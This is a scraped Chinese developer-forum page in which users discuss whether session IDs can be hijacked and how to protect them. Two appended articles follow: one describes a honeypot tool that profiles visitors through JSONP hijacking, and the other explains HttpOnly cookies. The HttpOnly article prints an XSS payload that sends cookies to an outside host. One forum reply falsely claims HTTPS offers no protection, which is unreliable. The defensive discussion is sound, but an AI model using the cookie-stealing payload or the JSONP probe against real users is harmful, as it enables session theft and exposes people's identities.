黑客能不能劫持SessionId

I_LOVE_YS 2015-06-23 04:32:42
加精
我对安全方面了解甚少。
最近突然有个疑问。
sessionId都是存储到客户端的,
或者cookie或者url.
在每次请求中都传回服务器。

那黑客有没有可能劫持请求。
查看sessionid,然后冒名顶替?

那session是不是太不安全了?
...全文
14803 71 打赏 收藏 转发到动态 举报
写回复
用AI写文章
71 条回复
切换为时间正序
请发表友善的回复…
发表回复
华华的世界 2018-09-27
  • 打赏
  • 举报
回复
引用 13 楼 yanyueqiu 的回复:
不仅能劫持sessionid,连整个session都能获得。
session是存在服务器的,你都拿到了,服务器都被你攻破了,讨论sessionid能不能劫持对你没意义了
yhld456 2018-08-25
  • 打赏
  • 举报
回复
可以根据安全级别来: 1.普通网站不用管直接用http。2.怕sessionid被盗用则使用https,然后用户登录成功的时候创建新的session,这样的sessionid通过https加密传给用户,无法被盗取。这一步已经可以做到比较高的安全级别。3.再往上如果出现中间人攻击,可以使用双向认证,就是https加证书,服务器持有用户的公钥,公钥和账号绑定,用户持有私钥。根据级别,这里的用户私钥可以存储到浏览器,存储到软件通过插件读取,使用UKEY硬件方式。用户发送的所有数据调用私钥加密,服务器公钥解密。
励志匆匆 2018-08-25
  • 打赏
  • 举报
回复
加密加密
Mars佩奇 2018-02-09
  • 打赏
  • 举报
回复
对于一名hacker来说,这些一般不会去做,除了一些菜鸟级别的入门黑客才会窃取sessionId
nature020110 2017-10-19
  • 打赏
  • 举报
回复
可以劫持。服务端可以通过另外的一些手段加强安全,比如判断用户ip是否变化,重要的操作需要重新验证(支付宝的支付密码)。作为普通用户来说,不在公共网络上操作网银等,
青年卫大师 2017-09-11
  • 打赏
  • 举报
回复
肯定可以劫持呀 所以才说不让在公共场所使用网银之类的东西
圆圆同学 2017-08-30
  • 打赏
  • 举报
回复
抓取客户端设备信息,连同sessionid一起发给服务器,服务器找到session验证是否为同一设备。
uajson 2015-08-06
  • 打赏
  • 举报
回复
引用 47 楼 strife 的回复:
[quote=引用 46 楼 I_LOVE_YS 的回复:] 大家都讨论,让我得出一个结论: 就是不能在session中存储用户名和密码。 以前,我为了保存用户登录状态,都是在 登录时把用户名和密码保存到session中。 每一次请求时从session中取出再新验证。 这样做的风险是,一旦黑客劫持了session. 用户名和密码他就得到了。就可以为所欲为了。 解决方案就是不存用户名密码了。 比如存一个session['vaild-user']=true.
一般黑客得不到服务端的session 值得最多只能得到session.id...不用session存密码还是会被xss攻击的,一样,要保护cookie才行[/quote] 你说的没错,只有sessionid是存在客户端的,淘宝就是通过改变登陆之后的sessionid,,防止sessionid被挟持
ayun00 2015-07-14
  • 打赏
  • 举报
回复
3、session更换,服务器定期更换session 这样能减少黑客获取session的几率 笑尿了
  • 打赏
  • 举报
回复
引用 63 楼 mhxy199288 的回复:
题主所说的确实是有可能的,因为http请求是无状态的,所以简单的web应用都是用一个sessionId(服务端随机生成)来验证(或者说仅仅就是区分)这个用户是谁,http请求是明文传输,所以黑客只要劫持到任何一个带有sessionId的请求(比如你连接了黑客的wifi),那么他就可以得到这个sessionId,从而伪装成合法的用户,去非法请求服务端的资源。 如何防止sessionId被劫持:我觉得有以下几个办法。 1、动态加密:为什么说要动态加密,因为如果你每次请求的凭证都是一样的(不管你用多复杂的加密算法),黑客根本不需要解密,只需要获得这个凭证(比如加密后的sessionId),用这个凭证去请求就行了,因为你的凭证是不变的。所以一个可行的做法是,服务端首先为你分配一个公钥和密匙,每次请求时,用请求的参数+请求的URL+服务端返回的密匙+当前时间做一个简单的加密(或者仅仅就是md5),然后再带上公钥,服务端根据公钥获取你对应的密匙,做相应的加密处理,然后对比凭证是否一致,即可以判断是否为合法的请求,这样的做法在很多第三方的平台服务很常见,比如百度云推送的签名算法之类的。 2、使用https:其实https的原理和上面这个方法类似,首先浏览器和服务器会进行一次握手,用于确定之后通信的加密算法以及相应的公钥和密匙,之后使用对称加密算法,将请求的所有信息进行加密然后进行传输,这里注意的是https是全密文传输,也就是说即使黑客劫持到了请求,如果他没有密匙(而密匙是在第一步的握手信息中产生的),几乎是没有可能解密的,从而他也没办法伪装合法用户。
我可以告诉你,在web程序上加密都是浮云吗 你第一点说的加密,不管你怎么加密,客户用浏览器按照你们的规则总是可以访问的吧,如果作为一个黑客,切不谈高深的解密,我自己做一个浏览器来访问你的服务器有何不可呢 再说说第二条,至于https就更不用说了,几行代码秒过。
  • 打赏
  • 举报
回复
引用 7 楼 Inhibitory 的回复:
HTTP是不安全的,如果安全性要求高,可以用HTTPS
https毛用都没有,我做发一个请求去你服务器直接忽略你的证书,照样拿数据
七十七点一 2015-07-06
  • 打赏
  • 举报
回复
如果没有国家机密文件,可以不用考虑
大数据小白 2015-07-06
  • 打赏
  • 举报
回复
楼主,这个我觉得理论上应该是能。解决的方法应该是加密。linux使用了ssh外壳对传输信息进行加密。
ojekleen 2015-07-03
  • 打赏
  • 举报
回复
验证没有绝对的安全,只能足够的复杂。
盖伦兄嘚 2015-07-02
  • 打赏
  • 举报
回复
可以的,不过不会
一个坚果 2015-07-01
  • 打赏
  • 举报
回复
题主所说的确实是有可能的,因为http请求是无状态的,所以简单的web应用都是用一个sessionId(服务端随机生成)来验证(或者说仅仅就是区分)这个用户是谁,http请求是明文传输,所以黑客只要劫持到任何一个带有sessionId的请求(比如你连接了黑客的wifi),那么他就可以得到这个sessionId,从而伪装成合法的用户,去非法请求服务端的资源。 如何防止sessionId被劫持:我觉得有以下几个办法。 1、动态加密:为什么说要动态加密,因为如果你每次请求的凭证都是一样的(不管你用多复杂的加密算法),黑客根本不需要解密,只需要获得这个凭证(比如加密后的sessionId),用这个凭证去请求就行了,因为你的凭证是不变的。所以一个可行的做法是,服务端首先为你分配一个公钥和密匙,每次请求时,用请求的参数+请求的URL+服务端返回的密匙+当前时间做一个简单的加密(或者仅仅就是md5),然后再带上公钥,服务端根据公钥获取你对应的密匙,做相应的加密处理,然后对比凭证是否一致,即可以判断是否为合法的请求,这样的做法在很多第三方的平台服务很常见,比如百度云推送的签名算法之类的。 2、使用https:其实https的原理和上面这个方法类似,首先浏览器和服务器会进行一次握手,用于确定之后通信的加密算法以及相应的公钥和密匙,之后使用对称加密算法,将请求的所有信息进行加密然后进行传输,这里注意的是https是全密文传输,也就是说即使黑客劫持到了请求,如果他没有密匙(而密匙是在第一步的握手信息中产生的),几乎是没有可能解密的,从而他也没办法伪装合法用户。
aierda 2015-07-01
  • 打赏
  • 举报
回复
个个都是大神啊,厉害
microhex 2015-06-30
  • 打赏
  • 举报
回复
我来认真听讲,楼上的大神讨论出解决方案时说一声哈。。。
风吹腚腚凉 2015-06-30
  • 打赏
  • 举报
回复
引用 44 楼 strife 的回复:
获取sessionid后如何假冒攻击?简单点就可以把当前要攻击站点的cookie值的asp.net_sessionid设置为偷来的值,然后去访问就行了,用.net的post客户端方法可以填充更多信息,例如来源或一些其他cookie,点击按钮事件等.
点击按钮不是客户端的行为,跟POST没关系吧? 还是我对你的话理解有问题?
nettman 2015-06-29
  • 打赏
  • 举报
回复
关注下
加载更多回复(51)
笔者曾混迹过各种攻防演练活动,参与过防守方、攻击方,也算是大概了解了每一个队伍的任务~参加防守时印象尤为深刻,也跟一起防守的“战友”做过有趣的事情,例如:反打攻击队;题外话说的有点多了,来说说为什么开发这样一个平台:作为一个防守方光看日志固然是枯燥无味的,偶尔来几次反向打击啥的,增添防守的乐趣~所以我想到了做这样一个系统,就是想在“空暇”时间能获取点“黑客攻击者”的“画像”。 本平台采用被动式的方式分析黑客攻击者画像,可扩展赋能蜜罐以及安全设备,将平台接口部署在蜜罐Web界面上即可,当攻击者访问所部署的Web界面即触发平台分析功能,对访问者进行分析,数据回传平台分析其网络身份、IP、IP定位:物理地址等信息。 AHRID 信息展示 平台支持接口授权的方式授权站点,已授权站点才可使用平台接口进行被动式的攻击者画像分析以及数据回传。 AHRID 接口授权 平台的分析功能采用模块化设计,可针对不同的分析功能新建不同的分析模块进而让平台的分析功能更加丰富完善(开源版本目前只支持JSONP探针模块) AHRID 提交模块 AHRID开源版使用 授权使用 登录进AHRID平台之后需要先添加接口授权: AHRID 接口授权 当添加完毕后,复制接口代码至蜜罐页面或需监测的页面中即可(建议复制到最后),这样就已经部署成功了,只需要等待攻击者触发数据回传功能,等待画像信息即可。 模块提交 当已经发现一个JSONP劫持漏洞时,即可提交到AHRID平台上: JSONP 劫持漏洞 漏洞地址:http://my.website/dorabox/csrf/jsonp.php?callback=test 要获取的信息:username 模块提交说明: 1. 名字模块名字(建议使用英文) 2. SRC存在JSONP劫持漏洞的URL地址 3. 回调参数值回调参数的值(参数=值) 4. 数据字段JSON字段(例如:{"username":"123"},要获取的是username即填写username;例如:{"data":{"uid":"123"}},要获取的是uid即填写data.uid) 5. 信息展示地址一般填写无或者随意填写 6. 模块描述根据模块功能说明 AHRID 模块提交示例 AHRID开源版设计概述 当攻击者访问到部署了AHRID接口的页面,即触发JSONP探针获取攻击者已登录状态下的登录信息,回传登录信息+IP+UA,后端会对IP进行物理地址转换,最终将数据记录到数据库。 数据库结构 表:Admin - 列:id,username,password 表:Hackinfo - 列:hid,host,ip,user_agent,jsondata,creaye_time,times 表:Plugins - 列:pid,name,src,callback,columns,url,commit 表:Apis - 列:aid,host IP地址转换依赖:GeoLite2-City.mmdb IP定位依赖:接口 apis.map.qq.com、way.jd.com + 取中心点 依赖环境:Python2 + Flask + Mysql 所需网络环境:互联网(可出网) AHRID开源版搭建 1.config.py 配置文件修改 需要配置的信息如下: USERNAME: Mysql用户名 PASSWORD: Mysql用户密码 HOST: Mysql主机地址 PORT: Mysql端口 SECRET_KEY: SESSION 秘钥(建议16位以上随机英文字母+数字+特殊符号) TX_KEYS: 腾讯接口KEYS(2个以上,参考:https://lbs.qq.com/webservice_v1/guide-ip.html) JCLOUD_KEY: 京东云接口KEY(Github可白嫖) 2.Mysql创建“ahrid”数据库 3.执行如下代码 python manage.py db init python manage.py db migrate 4.启动服务:sudo python app.py 默认端口为:80,可自行修改app.py文件如下代码部分 server = pywsgi.WSGIServer(('0.0.0.0', 80), app)
随着www服务的兴起,越来越多的应用程序转向了B/S结构,这样只需要一个浏览器就可 以访问各种各样的web服务,但是这样也越来越导致了越来越多的web安全问题。www服务依 赖于Http协议实现,Http是无状态的协议,所以为了在各个会话之间传递信息,就不可避免地 用到Cookie或者Session等技术来标记访问者的状态,而无论是Cookie还是Session,一般都 是利用Cookie来实现的(Session其实是在浏览器的Cookie里带了一个Token来标记,服务器 取得了这个Token并且检查合法性之后就把服务器上存储的对应的状态和浏览器绑定),这样 就不可避免地安全聚焦到了Cookie上面,只要获得这个Cookie,就可以取得别人的身份,这对 于入侵者是一件很美妙的事情,特别当获得的Cookie属于管理员等高权限身份者时,危害就 更大了。在各种web安全问题里,其中xss漏洞就因此显得格外危险。 对于应用程序来说,一旦存在了xss漏洞就意味着别人可以在你的浏览器中执行任意的 js脚本,如果应用程序是开源的或者功能是公开的话,别人就可以利用ajax使用这些功能,但 是过程往往很烦琐,特别是想直接获得别人身份做随意浏览的话困难就更大。而对于不开源 的应用程序,譬如某些大型站点的web后台(web2.0一个显著的特征就是大量的交互,用户往 往需要跟后台的管理员交互,譬如Bug汇报,或者信息投递等等),尽管因为交互的存在可能存 在跨站脚本漏洞,但是因为对后台的不了解,无法构造完美的ajax代码来利用,即使可以用js 取得后台的代码并回传分析,但是过程同样烦琐而且不隐蔽。这个时候,利用xss漏洞获得 Cookie或者Session劫持就很有效了,具体分析应用程序的认证,然后使用某些技巧,甚至可 以即使对方退出程序也一样永久性获得对方的身份。 那么如何获得Cookie或者Session劫持呢?在浏览器中的document对象中,就储存了 Cookie的信息,而利用js可以把这里面的Cookie给取出来,只要得到这个Cookie就可以拥有 别人的身份了。一个很典型的xss攻击语句如下: xss exp: url=document.top.location.href; cookie=[removed]; c=new Image(); c.src='http://www.loveshell.net/c.php?c='+cookie+'&u='+url; 一些应用程序考虑到这个问题所在,所以可能会采取浏览器绑定技术,譬如将Cookie和 浏览器的User-agent绑定,一旦发现修改就认为Cookie失效。这种方法已经证明是无效的, 因为当入侵者偷得Cookie的同时他肯定已经同时获得了User-agent。还有另外一种比较严 格的是将Cookie和Remote-addr相绑定(其实就是和IP绑定,但是一些程序取得IP的方法有问 题一样导致饶过),但是这样就带来很差的用户体验,更换Ip是经常的事,譬如上班与家里就 是2个IP,所以这种方法往往也不给予采用。所以基于Cookie的攻击方式现在就非常流行,在 一些web 2.0站点很容易就取到应用程序的管理员身份。 如何保障我们的敏感Cookie安全呢?通过上面的分析,一般的Cookie都是从document对 象中获得的,我们只要让敏感Cookie在浏览器document中不可见就行了。很幸运,现在浏览 器在设置Cookie的时候一般都接受一个叫做HttpOnly的参数,跟domain等其他参数一样,一 旦这个HttpOnly被设置,你在浏览器的document对象中就看不到Cookie了,而浏览器在浏览 的时候不受任何影响,因为Cookie会被放在浏览器头中发送出去(包括ajax的时候),应用程 序也一般不会在js里操作这些敏感Cookie的,对于一些敏感的Cookie我们采用HttpOnly,对 于一些需要在应用程序中用js操作的cookie我们就不予设置,这样就保障了Cookie信息的安 全也保证了应用。关于HttpOnly说明可以参照 http://msdn2.microsoft.com/en-us/library/ms533046.aspx。 给浏览器设置Cookie的头如下: Set-Cookie: =[; =] [; expires=][; domain=] [; path=][; secure][; HttpOnly] 以php为例,在php 5.2版本时就已经在Setcookie函数加入了对HttpOnly的支持,譬如 <?php setcookie("abc", "test", NULL, NULL, NULL, NULL, TRUE); ?> 就可以设置abc这个cookie,将其设置为HttpOnly,document将不可见这个Cookie。因为 setcookie函数本质就是个header,所以一样可以使用header来设置HttpOnly。然后再使用 [removed]就可以看到已经取不到这个Cookie了。我们用这种方法来保护利例如 Sessionid,如一些用于认证的auth-cookie,就不用担心身份被人获得了,这对于一些后台程 序和webmail提升安全性的意义是重大的。再次使用上面的攻击手法时可以看到,已经不能 获取被我们设置为HttpOnly的敏感Cookie了。 但是,也可以看到HttpOnly并不是万能的,首先它并不能解决xss的问题,仍然不能抵制 一些有耐心的黑客的攻击,也不能防止入侵者做ajax提交,甚至一些基于xss的proxy也出现 了,但是已经可以提高攻击的门槛了,起码xss攻击不是每个脚本小子都能完成的了,而且其 他的那些攻击手法因为一些环境和技术的限制,并不像Cookie窃取这种手法一样通用。 HttpOnly也是可能利用一些漏洞或者配置Bypass的,关键问题是只要能取到浏览器发送 的Cookie头就可以了。譬如以前出现的Http Trace攻击就可以将你的Header里的Cookie回 显出来,利用ajax或者flash就可以完成这种攻击,这种手法也已经在ajax和flash中获得修 补。另外一个关于配置或者应用程序上可能Bypass的显著例子就是phpinfo,大家知道 phpinfo会将浏览器发送的http头回显出来,其中就包括我们保护的auth信息,而这个页面经 常存在在各种站点上,只要用ajax取phpinfo页面,取出header头对应的部分就可以获得 Cookie了。一些应用程序的不完善也可能导致header头的泄露,这种攻击方式对于basic验 证保护的页面一样可以攻击。 HttpOnly在IE 6以上,Firefox较新版本都得到了比较好的支持,并且在如Hotmail等应 用程序里都有广泛的使用,并且已经是取得了比较好的安全效果。

81,090

社区成员

发帖
与我相关
我的任务
社区描述
Java Web 开发
社区管理员
  • Web 开发社区
加入社区
  • 近7日
  • 近30日
  • 至今
社区公告
暂无公告

试试用AI创作助手写篇文章吧